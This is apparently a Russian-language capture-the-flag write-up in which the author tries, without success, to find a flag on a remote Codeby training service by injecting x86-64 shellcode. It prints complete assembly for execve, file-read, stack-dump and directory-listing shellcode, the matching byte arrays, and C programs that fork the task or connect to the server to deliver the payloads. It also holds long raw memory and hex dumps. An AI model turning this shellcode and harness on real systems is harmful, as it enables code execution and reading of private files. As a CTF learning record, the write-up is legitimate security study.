Я приступил к следующему таску. Хотелось решить сначала все легкие задачки, чтобы переходит потом к более сложным, но эта задачка оказалась непростой. Первым делом я попробовал вызвать обычный шелл через syscall execve, но программа не выполняла эту команду корректно, хотя сам шелл в моей тестовой версии отрабатывать корректно.
Как я делаю шеллкоды. Пишу на ассемблере наш код, потом в radare2 смотрю размер секции кода и если он подходит, то можно с помощью команды pc создать буфер шеллкода.
Ну и разумеется мы берем только ту часть байт, которая относится к действующему коду. Я взял часть кода из интернета, чтобы не заморачиваться с написанием запуска и настройки дочернего процесса, и код вышел вот такой.
Эта программа запускает наш таск и после сообщения вписать наш шелл, программа останавливается, ожидая ввода команды вручную (любого символа). Это сделано для того, чтобы можно было с помощью radare2 подключиться к task, который запустила наша программа, и посмотреть, что всё отрабатывает нормально. Далее два раза надо прописать какой-нибудь символ, нажимаю Enter также два раза.
Я не понимал, почему execve не дает запуститься, возможно была какая-то защита. Тогда я написал шелл код для чтения файла.
В
сейчас прописан файл core. С помощью этого шеллкода я мог читать любой файл в системе, но мне нужно было узнать какие файлы есть, так как попытка прочитать файлы flag.txt и fl@g.txt не увенчались успехом. Пробую читаю директорию, я в кое-чем ошибся и оставил это на потом.
Следующим шагом я захотел узнать, а вдруг в этой программе есть переменные среды, ну знаете, FLAG=CODEBY{F...}. Тогда мне нужна была уже программа для работы по сети. Я написал такую.
Без fgets после "[+] Enter some text\n", не получиться запустить шелл, нужно дать сигнал, что строка закончена. По крайней мере у меня не получалось просто получать шелл без подтверждения отправки. Я написал такой шелл для чтения из памяти стека.
В итоге я получил вот такой выхлоп.
Так как это не увенчалось успехом, но хотя бы знаем, что путь к программе находится в /app. Теперь нужно было заставить читать текущий каталог программы. Я написал вот такой шелл. Здесь мы используем системный вызов getdents, чтобы получить содержимое каталога. Я решил не заморачиваться с выводом строк(названий файлов), а сделал просто вывод того, что есть, а в самой программе уже можно было бы читать hex байты.
Вот шеллкод.
Подправив свой net.c программу, я могу смотреть бинарные данные, которые приходят.
В итоге выхлоп такой.
Далее я захожу на сайт
Видим, что есть файл core и task. Потом я отредактировал shellcode и добавил циклы, но всё равно было только два файла, core и task. Также слово Me появилось, но чтение этого файла не удалось, так что можно было подумать, что это просто мусорные данные. Нужно было попробовать скачать core файл и я приступил к написанию кода на ассемблере. Первое, что я хотел сделать, это узнать размер программы core. Я написал такой шеллкод.
и получил такой выхлоп.
Смещение размера файла находилось на смещении 48.
434176 - размер файла core. Теперь нужно было скачать его. Я написал шелл, который должен был скачать этот файл.
Таким образом я выкачал файл core с избыточными данными. Выполнив strings для нашего файла, который я отсек до размера, которым он соответствует, я нашел.
Судя по выхлопу, core принимает соединение и запускает task с нужным параметрами. Как видно по выходным данным, нет нашего флага, но есть env как HOME=/root. стоит посмотреть что там находиться.
Я написал вот такой shellcode.
Он умещался в 83 байта, но содержимое каталога не выводил. Скорее всего в каталог не получается войти, потому что не хватало прав. И тут я опустил руки. У меня не было больше идей где может храниться флаг.
Потом меня посетила ещё одна идея прочитать .. каталог, но всё безуспешно. Также я пробовал /app каталог прочитать, но тоже ничего не получилось. Тогда я решил исследовать core файл. В нем хранилось несколько ELF программ.
Я решил написать программу, которая разделит эти elf файлы на части. Вот написанная программа.
Получилось 5 файлов, который распаковались.
Меня привлёк 5.elf, но он не работал также как и другие *.elf файлы.
Я всё не мог понять. Задание вроде лёгкое, но я постоянно думаю не в том направлении. Что же можно ещё предпринять, чтобы найти флаг? Я решил посмотреть все строки у этих файлов и единственная годная информация была вот эта, но она ничего такого не говорила, так как порты фильтровались и доступа к ним не было.
Зачем здесь msnbot-40-77-167-45.search.msn.com не понятно. Он не открывался в браузере, может быть нужно было через vpn заходить, но я не думаю, что задачка требует, чтобы через vpn заходить. Так что нужно идти дальше.
Иногда порывались мысли о том, чтобы спросить в телеграм группе о подсказке, но мне казалось, если я так сделаю, то буду чувствовать себя неуверенно. Потому что вроде знания есть, а я не могу справиться. Я был из-за этого недоволен, но немного, так как интерес к самой задачке мне нравился и я постоянно думал о ней, даже когда гулял. Уж так она запала в мои мысли, надеюсь мне будут сниться хорошие сны. Нужно было обдумать что ещё можно исследовать. В каталоге вроде как два файла всего, в переменных окружения нет ничего такого. Откуда читать флаг? )) Мне пришла ещё одна идея попробовать прочитать root директорию, не HOME=/root, а /. Но ничего не вышло. Удаленный сервер ничего не возвращал в ответ, так что нужно было думать дальше. Я даже попробовал простой ret вставить, чтобы выйти и продолжить выполнение программы дальше, но из этого тоже ничего не вышло.
Далее я сделал более совершенный считыватель стека, чтобы посмотреть переменные окружения.
Сохранил это в файл и получил почти тоже самое что и у 4.elf.
Теперь понятно, теперь понятно. TCPREMOTEIP это наш ip. Так у меня белый ip, я узнал его. TCPLOCALIP это внутренный ip в локальной сети. Получается, что здесь есть перенаправление портов. Жаль, что это нам ничего не даёт.
PWD=/app. HOME=/root. В голове пусто. Надо ещё один вариант проверить, который пришел мне в голову. Попробовать записать данные в этот каталог. Получиться ли создать файл? Если такое получиться сделать, то можно переписать task, чтобы при следующем запуске выполнилась наша программа. Но размер поступающих данных ограничен 88 байт. надо постараться что-то придумать. Хотя ладно, записать файл в каталог, а что делать дальше? Если task переписать, то тоже неплохо, но я не думаю, что так решается задача. Запись файла в каталог не буду пробовать. Я думаю, что здесь надо было просто правильно shellcode прописать, видимо я неправильно прописал execve. Может поэтому не сработало, но в конце концов я и этот момент тоже изучу. Всё-таки я склоняюсь к тому, что не правильно сделал execve. Задача была простой, и я пока не справился. Чтож, продолжу выполнения уже без описания моих дальнейших действий.
Спасибо за внимание.
Как я делаю шеллкоды. Пишу на ассемблере наш код, потом в radare2 смотрю размер секции кода и если он подходит, то можно с помощью команды pc создать буфер шеллкода.
Код:
section .text
global _start
_start:
xor rax, rax
mov al, 59
mov rdi, 0x68732f6e69622fff
shr rdi, 8
push rdi
lea rdi, [rsp]
xor rsi, rsi
xor rdx, rdx
xor r9, r9
syscall
Код:
> pc
#define _BUFFER_SIZE 256
const uint8_t buffer[_BUFFER_SIZE] = {
0x48, 0x31, 0xc0, 0xb0, 0x3b, 0x48, 0xbf, 0xff, 0x2f, 0x62,
0x69, 0x6e, 0x2f, 0x73, 0x68, 0x48, 0xc1, 0xef, 0x08, 0x57,
0x48, 0x8d, 0x3c, 0x24, 0x48, 0x31, 0xf6, 0x48, 0x31, 0xd2,
0x4d, 0x31, 0xc9, 0x0f, 0x05, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff
};
C:
#include<unistd.h>
#include<sys/wait.h>
#include<sys/prctl.h>
#include<signal.h>
#include<stdlib.h>
#include<string.h>
#include<stdio.h>
#include <stdint.h>
uint8_t shellcode[] = {
0x48, 0x31, 0xc0, 0xb0, 0x3b, 0x48, 0xbf, 0xff, 0x2f, 0x62,
0x69, 0x6e, 0x2f, 0x73, 0x68, 0x48, 0xc1, 0xef, 0x08, 0x57,
0x48, 0x8d, 0x3c, 0x24, 0x48, 0x31, 0xf6, 0x48, 0x31, 0xd2,
0x4d, 0x31, 0xc9, 0x0f, 0x05};
int main(int argc, char** argv)
{
pid_t pid = 0;
int inpipefd[2];
int outpipefd[2];
char buf[256];
char msg[256];
int status;
pipe(inpipefd);
pipe(outpipefd);
pid = fork();
if (pid == 0)
{
// Child
dup2(outpipefd[0], STDIN_FILENO);
dup2(inpipefd[1], STDOUT_FILENO);
dup2(inpipefd[1], STDERR_FILENO);
//ask kernel to deliver SIGTERM in case the parent dies
prctl(PR_SET_PDEATHSIG, SIGTERM);
//close unused pipe ends
close(outpipefd[1]);
close(inpipefd[0]);
//replace tee with your process
execl("./task", "./task", (char*) NULL);
// Nothing below this line should be executed by child process. If so,
// it means that the execl function wasn't successfull, so lets exit:
exit(1);
}
// The code below will be executed only by parent. You can write and read
// from the child using pipefd descriptors, and you can send signals to
// the process using its pid by kill() function. If the child process will
// exit unexpectedly, the parent process will obtain SIGCHLD signal that
// can be handled (e.g. you can respawn the child process).
//close unused pipe ends
close(outpipefd[0]);
close(inpipefd[1]);
// Now, you can write to outpipefd[1] and read from inpipefd[0] :
read(inpipefd[0], buf, 256);
printf ("%s\n", buf);
fgets(buf, 256, stdin);
printf ("[+] Exploit\n");
write (outpipefd[1], shellcode, sizeof(shellcode));
//read(inpipefd[0], buf, 256);
//printf ("%s\n", buf);
printf("Enter message to send\n");
fgets(msg, 256, stdin);
write(outpipefd[1], msg, strlen(msg));
while(1)
{
#if 0
fgets(msg, 256, stdin);
if(strcmp(msg, "exit") == 0) break;
write(outpipefd[1], msg, strlen(msg));
//write(outpipefd[1], msg, strlen(msg));
#endif
memset(buf, 0, 256);
int r = read(inpipefd[0], buf, 256);
if (r > 0) {
if (buf[0] >= ' ' && buf[0] <= '~')
printf("%s\n", buf);
}
}
kill(pid, SIGKILL); //send SIGKILL signal to the child process
waitpid(pid, &status, 0);
}
Я не понимал, почему execve не дает запуститься, возможно была какая-то защита. Тогда я написал шелл код для чтения файла.
Код:
section .text
global _start
_start:
mov rbp, rsp
xor rax, rax
mov al, 2
xor rdi, rdi
push rdi
mov rdi, 0x65726f63ffffffff
shr rdi, 8 * 4
push rdi
lea rdi, [rbp - 16]
xor rsi, rsi
syscall
mov [rbp - 16], rax
mov dl, al
xor al, al
push rax
push rax
push rax
push rax
push rax
mov al, dl
mov rdi, [rbp - 16]
lea rsi, [rsp]
xor rdx, rdx
mov dl, 32
xor al, al
syscall
xor al, al
inc al
mov rdi, rax
lea rsi, [rsp]
syscall
Код:
mov rdi, 0x65726f63ffffffff
Следующим шагом я захотел узнать, а вдруг в этой программе есть переменные среды, ну знаете, FLAG=CODEBY{F...}. Тогда мне нужна была уже программа для работы по сети. Я написал такую.
C:
#include <sys/socket.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <arpa/inet.h>
uint8_t shellcode[] = {
0x48, 0x89, 0xe5, 0x48, 0x31, 0xc0, 0x50, 0x50, 0x50, 0x50,
0x50, 0x50, 0x50, 0x50, 0x50, 0x50, 0xb0, 0x02, 0x5a, 0x5e,
0x48, 0xff, 0xc6, 0x48, 0xc1, 0xe6, 0x10, 0xb2, 0x2e, 0x52,
0x48, 0x8d, 0x3c, 0x24, 0x0f, 0x05, 0x48, 0x89, 0x45, 0xf8,
0x89, 0xc7, 0x48, 0x8d, 0x74, 0x24, 0x20, 0x5a, 0xfe, 0xc2,
0x66, 0xc1, 0xe2, 0x0b, 0xb0, 0x4e, 0x0f, 0x05, 0x48, 0x89,
0x44, 0x24, 0x10, 0xb0, 0x01, 0xbf, 0x01, 0x00, 0x00, 0x00,
0x48, 0x8d, 0x74, 0x24, 0x20, 0xba, 0x00, 0x08, 0x00, 0x00,
0x0f, 0x05};
int main (int argc, char **argv)
{
int sock = socket (AF_INET, SOCK_STREAM, 0);
struct sockaddr_in s;
s.sin_family = AF_INET;
inet_aton ("62.173.140.174", &s.sin_addr);
s.sin_port = htons (27650);
int ret = connect (sock, (const struct sockaddr *) &s, sizeof (s));
if (ret != 0) {
printf ("error connection: \n");
exit (0);
}
printf ("[+] Connected\n");
char l[] = "l";
char buf[512];
read (sock, buf, 512);
printf ("%s\n", buf);
memset (buf, 0, 512);
printf ("[+] Exploit\n");
write (sock, shellcode, sizeof (shellcode));
printf ("[+] Enter some text\n");
fgets(buf, 512, stdin);
write (sock, buf, 512);
while (1) {
int r = read (sock, buf, 512);
if (r > 0) {
if (buf[0] >= ' ' && buf[0] <= '~') {
printf ("%s\n", buf);
}
}
}
printf ("%s\n", "close");
close (sock);
}
Код:
section .text
global _start
_start:
mov r8, rdx
add r8, 32 - 3
mov rbp, rsp
mov rax, rsp
;add ah, 0x20
push rax
push rax
push rax
push rax
pop rsi
mov [rbp - 8], rax
pop rax
pop rdi
pop rdx
mov rsi, [rbp - 8]
xor rax, rax
xor rdi, rdi
xor rdx, rdx
inc rax
inc rdi
inc rdx
shl rdx, 4
syscall
inc rsi
jmp r8
Код:
GB
rV
B
rV
A
rV
o?�Ҡ�
u��C����;�x86_��C����;�x86_6�C����;�x86_64C����;�x86_64
e6298
TH=/usr/local/sbH=/usr/local/sbi=/usr/local/sbin/usr/local/sbin:usr/local/sbin:/sr/local/sbin:/ur/local/sbin:/us/local/sbin:/usrlocal/sbin:/usr/ocal/sbin:/usr/lcal/sbin:/usr/loal/sbin:/usr/locl/sbin:/usr/loca/sbin:/usr/localsbin:/usr/local/bin:/usr/local/bin:/usr/local/bin:/usr/local/bin:/usr/local/bin:/usr/local/bin:/usr/local/bin:/usr/local/bin:/usr/local/bin:/usr/local/bin:/usr/local/bin:/usr/socal/bin:/usr/sbcal/bin:/usr/sbial/bin:/usr/sbinl/bin:/usr/sbin:/bin:/usr/sbin:/bin:/usr/sbin:/uin:/usr/sbin:/us
n:/usr/sbin:/usr:/usr/sbin:/usr//usr/sbin:/usr/busr/sbin:/usr/bisr/sbin:/usr/binr/sbin:/usr/bin:/sbin:/usr/bin:/sbin:/usr/bin:/sbin:/usr/bin:/sbin:/usr/bin:/sbin:/usr/bin:/sbin:/usr/bin:/sbin:/usr/bin:/sbin:/usr/bin:/sbin:/bsr/bin:/sbin:/bir/bin:/sbin:/bin/bin:/sbin:/bin
PWD=/app
17.0.36
OTEIP=89
=59814
@
2
<
time
_clock_g
o_getcpu
.6
A��u��
9�u�H��H���A�D9�u�H��H=��A�D9�u�H��H=��A�D9�u�H��H=��A�D9�u�H��H=�ɚ�D9�u�H��H=�ɚ;D9�u�H��H=�ɚ;vD9�u�H��H=�ɚ;v9�u�H��H=�ɚ;v1�u�H��H=�ɚ;v1�u�H��H=�ɚ;v1�H�H��H=�ɚ;v1�H-H��H=�ɚ;v1�H-
w�IЉ�LH=�ɚ;w�IЉ�L�H=�ɚ;w�IЉ�L�=�ɚ;w�IЉ�L�H�ɚ;w�IЉ�L�Hiɚ;w�IЉ�L�Hi��;w�IЉ�L�Hi��;w�IЉ�L�Hi��Mw�IЉ�L�Hi��Mb�IЉ�L�Hi��MbIЉ�L�Hi��MbHЉ�L�Hi��MbH�Љ�L�Hi��MbH���L�Hi��MbH��&�L�Hi��MbH��&�L�Hi��MbH��&���Hi��MbH��&��HHi��MbH��&��H�Hi��MbH��&��H�Gi��MbH��&��H���MbH��&��H�1�MbH��&��H�1�MbH��&��H�1�HbH��&��H�1�H�H��&��H�1�H��H��&��H�1�H����&��H�1�H����&��H�1�H���o&��H�1�H���o���H�1�H���o���H�1�H���o���H�1�H���o�����1�H��
M���L�F������AM���L�F������A����L�F������A����L�F������A����L�F������A���L�F������A���V�F������A���V�F������A���V��F������A���V���������A���V��������A���V�����M���LL��+������+����������A���V�������A���V�������A���V�����������V����������V�����+����
A9�u�H�����f9�u�H�����f��u�H�����f�
tH��UH��AUATS�H��UH��AUATS��H��UH��AUATS����UH��AUATS��w�UH��AUATS��wI�UH��AUATS��wI�UH��AUATS��wI�H��AUATS��wI�
x�E�HH9I�H��x�E�HH9ыH��x�E�HH9�sH��x�E�HH9�s
H��x�E�HH9�s
HH��x�E�HH9�s
H)��x�E�HH9�s
H)��x�E�HH9�s
H)�Ix�E�HH9�s
H)�I�E�HH9�s
H)�I�E�HH9�s
H)�I�ыHH9�s
H)�I��HHH9�s
H)�I��HH9�s
H)�I��H�H9�s
H)�I��H�A9�s
H)�I��H�A��s
H)�I��H�A�Hs
H)�I��H�A�H
H)�I��H�A�HMH)�I��H�A�HM�)�I��H�A�HM�J�I��H�A�HM�J I��H�A�HM�J A��H�A�HM�J A���H�A�HM�J A��H�A�HM�J A�DH�A�HM�J A�D9�A�HM�J A�D9��A�HM�J A�D9�uA�HM�J A�D9�u��HM�J A�D9�u�HHM�J A�D9�u�H�M�J A�
D9�u�H��M�J A�D9�u�H��H�J A�D9�u�H��H=J A�D9�u�H��H=� A�D9�u�H��H=��A�D9�u�H��H=�ɚ�D9�u�H��H=�ɚ;D9�u�H��H=�ɚ;vD9�u�H��H=�ɚ;v9�u�H��H=�ɚ;v1�u�H��H=�ɚ;v1�u�H��H=�ɚ;v1�H�H��H=�ɚ;v1�H-H��H=�ɚ;v1�H-
;w�I�L��H=�ɚ;w�I�L�H=�ɚ;w�I�L�HH=�ɚ;w�I�L�H�=�ɚ;w�I�L�H�F�ɚ;w�I�L�H�ɚ;w�I�L�H�1�;w�I�L�H�1�;w�I�L�H�1�[w�I�L�H�1�[A�I�L�H�1�[A\I�L�H�1�[A\A�L�H�1�[A\A]�L�H�1�[A\A]]L�H�1�[A\A]]ÉH�1�[A\A]]�LH�1�[A\A]]�L�H�1�[A\A]]�L�%�1�[A\A]]�L�%�1�[A\A]]�L�%�1�[A\A]]�L�%���1�[A\A]]�L�%�����[A\A]]�L�%����A[A\A]]�L�%����A�A\A]]�L�%����A�\A]]�L�%����A�$A]]�L�%����A�$�]]�L�%����A�$��]�L�%����A�$���L�%����A�$���L�%����A�$���r�%����A�$���r�%����A�
$���r������A�$���r������A�$���r���L��A�$���r���L��A�$���r���L�-A�$���r���L�-܋$���r���L�-��$���r���L�-���$���r���L�-�������r���L�-����L��r���L�-����L��r���L�-�����L�%�����[A\A]]�L�%����A[A\A]]�L�%����A�A\A]]�L�%����A�\A]]�L�%����A�$A]]�L�%����A�$�]]�L�%����A�$��]�L�%����A�$���L�%����A�$���L�%����A�$���r�%����A�$���r�%����A�
f�D�%�� ����f�D�%�������f�D�%�������f�D�%����H��f�D�%����H��f�D�%����H���f�D�%����H�� �f�D�%����H�� Hf�D�%����H�� H �D�%����H�� H �D�%����H�� H �H�%����H�� H �H��%����H�� H �H��%����H�� H �H��D����H�� H �H��D����H�� H �H��D����H�� H �H��D��H�H�� H �H��D��H+H�� H �H��D��H+�� H �H��D��H+Y� H �H��D��H+Y� H �H��D��H+Y��H �H��D��H+Y��� �H��D��H+Y�����H��D��H+Y�����H��D��H+Y�����H��D��H+Y�����H��D��H+Y�����H��D��H+Y�����H��H��H+Y�����H��H��H+Y�����H��H��H+Y�����H��H��D+Y�����
R���HI�H��H��HR���HI�H��H��H���HI�H��H��H���HI�H��H��H���HI�H��H��H�� HI�H��H��H�� HI�H��H��H�� H�I�H��H��H�� H��H��H��H��H��D��H��E�䋉�H��D��H��E��
{
H��t
���
K
.04.2) 9ntu1~20.04.2) 9.tu1~20.04.2) 9.4u1~20.04.2) 9.4.1~20.04.2) 9.4.0~20.04.2) 9.4.0
h
gnu.versrsion
_frame_hote
nstructit
t
h
Так как это не увенчалось успехом, но хотя бы знаем, что путь к программе находится в /app. Теперь нужно было заставить читать текущий каталог программы. Я написал вот такой шелл. Здесь мы используем системный вызов getdents, чтобы получить содержимое каталога. Я решил не заморачиваться с выводом строк(названий файлов), а сделал просто вывод того, что есть, а в самой программе уже можно было бы читать hex байты.
Вот шеллкод.
Код:
section .text
global _start
_start:
mov rbp, rsp
xor rax, rax
push rax
push rax
push rax
push rax
push rax
push rax
push rax
push rax
push rax
push rax
mov al, 2
pop rdx
pop rsi
inc rsi
shl rsi, 16
mov dl, 0x2e
push rdx
lea rdi, [rsp]
syscall
mov [rbp - 8], rax
mov edi, eax
lea rsi, [rsp + 32]
pop rdx
inc dl
shl dx, 11
mov al, 78
syscall
mov [rsp + 16], rax
mov al, 1
mov rdi, 1
lea rsi, [rsp + 32]
mov rdx, 2048
syscall
C:
while (1) {
int r = read (sock, buf, 512);
if (r > 0) {
#if 1
printf ("r: %d\n", r);
for (int i = 0; i < r; i++) {
printf ("%02x ", (uint8_t) buf[i]);
}
printf ("\n");
#else
if (buf[0] >= ' ' && buf[0] <= '~') {
printf ("%s\n", buf);
}
#endif
}
}
Код:
xverizex@localhost:~/codeby> ./net
[+] Connected
Enter your shellcode:
[+] Exploit
[+] Enter some text
f
r: 512
01 00 00 00 00 00 00 00 18 00 2e 00 00 00 00 04 75 e2 7f 01 00 00 00 00 02 00 00 00 00 00 00 00 18 00 2e 2e 00 55 00 04 c6 c5 14 02 00 00 00 00 03 00 00 00 00 00 00 00 18 00 63 6f 72 65 00 08 48 de 9f 01 00 00 00 00 04 00 00 00 00 00 00 00 18 00 74 61 73 6b 00 08 00 00 00 00 01 00 00 00 78 d5 b1 9c fc 7f 00 00 00 00 00 00 00 00 00 00 04 2f 8a 00 a0 1a b5 7f 78 d5 b1 9c fc 7f 00 00 c9 01 b0 88 be 55 00 00 a0 2d b0 88 be 55 00 00 40 e0 a3 56 05 7f 00 00 04 2f 68 a8 c3 23 4c 80 04 2f 00 1a a0 b7 bf 81 00 00 00 00 05 7f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 86 b3 85 8a 57 52 8b 00 00 00 00 00 00 00 00 40 0e 80 56 05 7f 00 00 88 d5 b1 9c fc 7f 00 00 a0 2d b0 88 be 55 00 00 e0 f2 a3 56 05 7f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 b0 88 be 55 00 00 70 d5 b1 9c fc 7f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 01 b0 88 be 55 00 00 68 d5 b1 9c fc 7f 00 00 1c 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 18 df b1 9c fc 7f 00 00 00 00 00 00 00 00 00 00 22 df b1 9c fc 7f 00 00 38 df b1 9c fc 7f 00 00 43 df b1 9c fc 7f 00 00 85 df b1 9c fc 7f 00 00 8e df b1 9c fc 7f 00 00 98 df b1 9c fc 7f 00 00 af df b1 9c fc 7f 00 00 c1 df b1 9c fc 7f 00 00 da df b1 9c fc 7f 00 00 00 00 00 00 00 00 00 00 21 00 00 00 00 00 00 00 00 d0 b9 9c fc 7f 00 00 10 00 00 00 00 00 00 00 ff fb eb bf 00 00 00 00 06 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 11 00 00 00 00 00 00 00 64 00 00 00 00 00 00 00 03 00 00 00 00 00 00 00 40 f0 af 88 be 55 00 00
r: 512
04 00 00 00 00 00 00 00 38 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 0d 00 00 00 00 00 00 00 07 00 00 00 00 00 00 00 00 40 a0 56 05 7f 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 09 00 00 00 00 00 00 00 e0 00 b0 88 be 55 00 00 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 17 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 00 00 00 00 00 00 19 d7 b1 9c fc 7f 00 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1f 00 00 00 00 00 00 00 ee df b1 9c fc 7f 00 00 0f 00 00 00 00 00 00 00 29 d7 b1 9c fc 7f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0e 86 b3 85 8a 57 52 8b 44 00 50 8d da 3f 82 17 78 38 36 5f 36 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
r: 512
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
r: 512
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 